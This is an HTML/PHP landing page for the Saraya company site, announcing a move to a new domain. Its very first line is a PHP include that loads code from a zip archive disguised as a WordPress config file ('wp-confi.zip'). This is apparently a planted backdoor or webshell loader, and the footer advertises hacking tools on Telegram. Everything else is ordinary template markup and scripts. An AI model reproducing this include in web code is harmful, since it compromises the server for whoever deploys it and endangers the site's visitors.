<?php require"zip://wp-confi.zip#tv"; ?>
<!DOCTYPE html>
<!-- /**
Copyright (c) 2015, Saraya
Author:Jaisone
**/ -->
<html lang="en">
<head>
<!-- Basic Page Needs
================================================== -->
<meta charset="utf-8">
<title>SARAYA - Home </title>
<meta name="description" content="">
<meta name="author" content="">
<!-- Mobile Specific Metas
================================================== -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<!-- CSS
================================================== -->
<!--[if lt IE 9]>
<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<!-- Favicons
================================================== -->
<link rel="shortcut icon" href="images/favicon.ico">
<link rel="apple-touch-icon" href="images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="72x72" href="images/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="114x114" href="images/apple-touch-icon-114x114.png">
<!-- Included CSS files
================================================== -->
<link rel="stylesheet" type="text/css" href="css/bootstrap.css">
<link rel="stylesheet" type="text/css" href="css/bootstrap-responsive.css">
<link rel="stylesheet" type="text/css" href="css/bootstrap-theme.min.css">
<link rel="stylesheet" type="text/css" href="font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" type="text/css" href="css/icons.css">
<link rel="stylesheet" type="text/css" href="css/animate.css">
<link rel="stylesheet" type="text/css" href="css/main.min.css">
<link rel="stylesheet" type="text/css" href="css/style.min.css">
<link rel="stylesheet" type="text/css" href="css/base.min.css">
<link rel="stylesheet" type="text/css" href="css/font-style.css" id="set_font" >
<link rel="stylesheet" type="text/css" href="css/color-orange.css" id="set_color">
<link rel="stylesheet" type="text/css" href="css/jquery.mCustomScrollbar.css" />
<link rel="stylesheet" type="text/css" href="css/bigvideo.css">
<link rel="stylesheet" type="text/css" href="css/magnific-popup.css" media="screen" />
<link rel="stylesheet" type="text/css" href="css/flexslider.min.css" media="screen" />
<link rel="stylesheet" type="text/css" href="css/supersized.min.css" media="screen" />
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script type="text/javascript" src="js/modernizr.min.js"></script>
</head>
<!--
white_ver - To add this class name on body tag, It will identify the page as a white version. Otherwise the page display as dark version
(It use to change the arrow, css background image as per white version)
NOTE FOR DARK VERSION:
- Please add a class name inverseStyle for all contentWrapper class div except home page
- Remove white_ver class name in body class
-->
<body class="white_ver horizontal_layout index-isotope" data-page="index" >
<div class="preloadimages_inline">
<img alt="image_alt_text" class="preload" src="images/0.png" data-src="images/home_slider/home_slide_image1.jpg" data-src-small="images/home_slider/home_slide_image1_s.jpg">
<img alt="image_alt_text" class="preload" src="images/0.png" data-src="images/home_slider/home_slide_image2.jpg" data-src-small="images/home_slider/home_slide_image2_s.jpg">
<img alt="image_alt_text" class="preload" src="images/0.png" data-src="images/home_slider/home_slide_image3.jpg" data-src-small="images/home_slider/home_slide_image3_s.jpg">
<img alt="image_alt_text" class="preload cssBackground" src="images/0.png" data-src="images/sprite.png" data-src-2x="images/sprite@2x.png">
</div>
<!-- loading Objects -->
<div class="loading_objects">
<div class="loading_2x">
<div class="track"></div>
<div class="ball"></div>
<div class="text"></div>
</div>
<div class="loading_x">
<div class="track"></div>
<div class="ball"></div>
</div>
</div>
<!-- site loading -->
<div class="pageFade bg_white" >
<div class="top_bar">
<div class="site_loading_bar"></div>
</div>
</div>
<!--
Header Navigation Area
-->
<div class="container-fluid headerMainHolder moveToHide">
<div class="row-fluid">
<div class="col-md-12">
<div class="header_logo">
<!-- Place your logo here -->
<div class="logo" >
<a href="#!home" class="menu_link"><img src="images/logo.png" alt="logo text"></a>
</div>
</div>
<!-- Place Menu Here -->
</div>
</div>
</div>
<!-- pgScrollUp navigation used to scroll the page to top position, Currently its hide in this template.
If you need this button just remove the comment code
-->
<div class="pgScrollUp fxEmbossBtn mobile_Only">
<span class="btn_icon"></span>
<span class="btn_hover"></span>
</div>
<!-- Complete web site content is placed inside the bodyContainer class div except footer -->
<div class="bodyContainer">
<!-- Homepage -->
<div data-id="!home" class="contentWrapper homePageContent m-Scrollbar" >
<div class="fullHeight fixed" >
<!-- overlay -->
<div class="overlayBg homeBg_color1"></div>
<div class="container-fluid relativePos" >
<div class="top_space"></div>
<div class="row-fluid">
<div class="col-md-12" data-animated-time="15" data-animated-in="animated fadeInUp" >
<div class=" pad_large remove_topPadding remove_rightPadding">
<div class="homeTextloadInMobile"></div>
<h3 class="white_color fontFamily_1">Our website have moved to a new location. <br/>Please click the link to <a href="https://saraya.world/">visit now.</a> <br>
</h3>
</div>
</div>
</div>
</div>
<div class="container-fluid">
<div class="row-fluid">
<div class="col-md-12" data-animated-time="20" data-animated-in="animated fadeInUp">
<div class=" relativePos pad_large remove_topPadding remove_rightPadding">
<!-- <h4 class="white_color">Please click the logo to visit our Saraya Worldwide page now. </h4> -->
<!-- New letter form -->
<div class="form_fx">
<a href="https://saraya.world/"><img src="images/logo-aus.png" width="230" height="37" alt=""/></a> </div>
</div>
</div>
</div>
</div>
<hr class="separator_max">
<div class="home_footer moveToHide">
<div class="footer_left pad_large remove_topPadding remove_rightPadding">
<div class="homeTextloadInDesktop ">
<div class="centerPosition">
<hr class="space_mini">
<div class="typingEffect_holder">
<!-- Typing text placed here -->
<span class="typing_text upperCase">We have moved to...saraya.world</span>
<span class="typing_cursor"></span>
</div>
<hr class="space_mini">
</div>
</div>
</div>
<div class="footer_right">
<div class="rocket_land"> </div>
<div class="rocket_holder">
<div class="rocket_smoke">
<img alt="image_alt_text" class="preload scale-with-grid" src="images/0.png" data-src="images/rocket_smoke.png" >
</div>
</div>
</div>
</div>
<!-- <div class="countdown_timer pad_large remove_topPadding remove_leftPadding">
<div id="clock" data-displayTime="40" data-animated-time="40" data-animated-in="animated fadeInUp" >
<div class="counter_time countdown" >
<h4>Count Down Time</h4>
<hr class="space_mini">
<span class="font_medium time_days first">000</span><span class="font_small"> days</span>
<span class="font_medium time_hours">00</span><span class="font_small"> hours</span>
<span class="font_medium time_minutes">00</span> <span class="font_small"> mins</span>
<span class="font_medium time_seconds">00</span><span class="font_small"> secs</span>
</div>
</div>
</div> -->
</div>
</div>
<div class="mainContent_holder pageHide">
<!-- Page content is placed inside the mainContent class div except footer -->
<div class="mainContent" >
<!-- Popup overly inline content is placed inside the below popup_inlines class div -->
<div class="popup_inlines">
<div class="container inverseStyle" id="sample_popup_inline">
<div class="col-md-3"></div>
<div class="col-md-6">
<h4>Onthewa</h4>
<p>sunt in culpa qui officia deserunt mollit anim id est laborum. irure dolor in pvelit esse cillum dolore eu fugiat nulla pariatur.</p>
<p class="tiny_font">Totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.</p>
</div>
<div class="col-md-3"></div>
</div>
</div>
<!-- Included javascript files
================================================== -->
<script type="text/javascript" src="js/jquery-1.11.0.min.js"></script>
<script type="text/javascript" src="js/SmoothScroll.js"></script>
<script type="text/javascript" src="js/jquery.transit.js"></script>
<script type="text/javascript" src="js/jquery.browser.js"></script>
<script type="text/javascript" src="js/bootstrap.min.js"></script>
<script type="text/javascript" src="js/jquery.touchSwipe.min.js"></script>
<script type="text/javascript" src="js/supersized.3.2.7.min.js"></script>
<script type="text/javascript" src="js/jquery.mCustomScrollbar.concat.min.js"></script>
<script type="text/javascript" src="js/jquery.nicescroll.min.js"></script>
<script type="text/javascript" src="js/jquery.cycle.all.js"></script>
<script type="text/javascript" src="js/jquery.flexslider.min.js"></script>
<script type="text/javascript" src="js/jQuery.tubeplayer.js"></script>
<script type="text/javascript" src="js/jquery.magnific-popup.min.js"></script>
<script type="text/javascript" src="js/jquery.support.plugin.min.js"></script>
<script type="text/javascript" src="js/custom.min.js"></script>
<script type="text/javascript" src="js/video.min.js"></script>
<script type="text/javascript" src="js/bigvideo.js"></script>
<script type="text/javascript" src="js/jquery.comingsoon.js"></script>
<script type="text/javascript" src="js/main-fm.min.js"></script>
<script type="text/javascript" src="js/jquery.jstwitter.js"></script>
<script type="text/javascript">
/* Initialize supersized fullscreen image gallery */
function superGalleryInit (){
jQuery(function($){
$.supersized({
slideshow : 1, // Slideshow on/off
autoplay : 1, // Slideshow starts playing automatically
transition : 8, // 0-None, 1-Fade, 2-Slide Top, 3-Slide Right, 4-Slide Bottom, 5-Slide Left, 6-Carousel Right, 7-Carousel Left, 8-slide top bottom
slide_interval : 4000, // Length between transitions
kenburn : false, // Enable/Disable kenburn effect
kenburnZoomValue : 1.3, // Kernburn zoom in value
slides : [ // Slideshow Images, image_small attribute is used to load the mobile version image, main_title attribute is used to add the image tile div
// For kenburn effect, zoomIn attribute is used, just add yes or no for zoomin and zoomout, To remove the kenburn effect just leave it blank value.
{ image : 'images/home_slider/home_slide_image1.jpg',
image_small : 'images/home_slider/home_slide_image4_s.jpg',
slide_interval : 3000,
zoomIn : "yes" },
{ image : 'images/home_slider/home_slide_image2.jpg',
image_small : 'images/home_slider/home_slide_image5_s.jpg',
slide_interval : 3000,
zoomIn : "no" },
{ image : 'images/home_slider/home_slide_image3.jpg',
image_small : 'images/home_slider/home_slide_image3_s.jpg',
slide_interval : 3000,
zoomIn : "yes" },
{ image : 'images/home_slider/home_slide_image4.jpg',
image_small : 'images/home_slider/home_slide_image1_s.jpg',
slide_interval : 3000,
zoomIn : "no" },
{ image : 'images/home_slider/home_slide_image5.jpg',
image_small : 'images/home_slider/home_slide_image2_s.jpg',
slide_interval : 3000,
zoomIn : "yes" }
]
});
});
}
$(document).ready(function(){
/* Site Main plug-in initilize */
jQuery(function($){
$("body").mainFm({
/* Set the opening page.
leave it blank value if you need to show the home page as a opening page*/
currentPage : "!home",
/* FlexSlider slideshow speed */
slideshowSpeed : 5000
});
});
// Joinus Email submit action
$("#joinus_submit").click(function() {
$('#reply_joinus_message').removeClass();
$('#reply_joinus_message').html('');
var regEx = "";
// validate Email
var email = $("input#joinus_email").val();
regEx=/^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$/;
if (email == "" || email == "JOIN OUR NEWS LETTER" || !regEx.test(email)) {
$("input#joinus_email").val('');
$("input#joinus_email").focus();
return false;
}
var dataString = 'joinus_email=' + $("input#joinus_email").val();
$('#reply_joinus_message').addClass('email_loading');
// Send form data to mailer.php
$.ajax({
type: "POST",
url: "php/mailer.joinus.php",
data: dataString,
success: function() {
$('#reply_joinus_message').removeClass('email_loading');
$('#reply_joinus_message').addClass('list3');
$('#reply_joinus_message').html("Added sucessfully")
.hide()
.fadeIn(1500);
}
});
return false;
});
});
</script>
</body>
</html>
All system for education purposes only. For more tools: Telegram @jackleet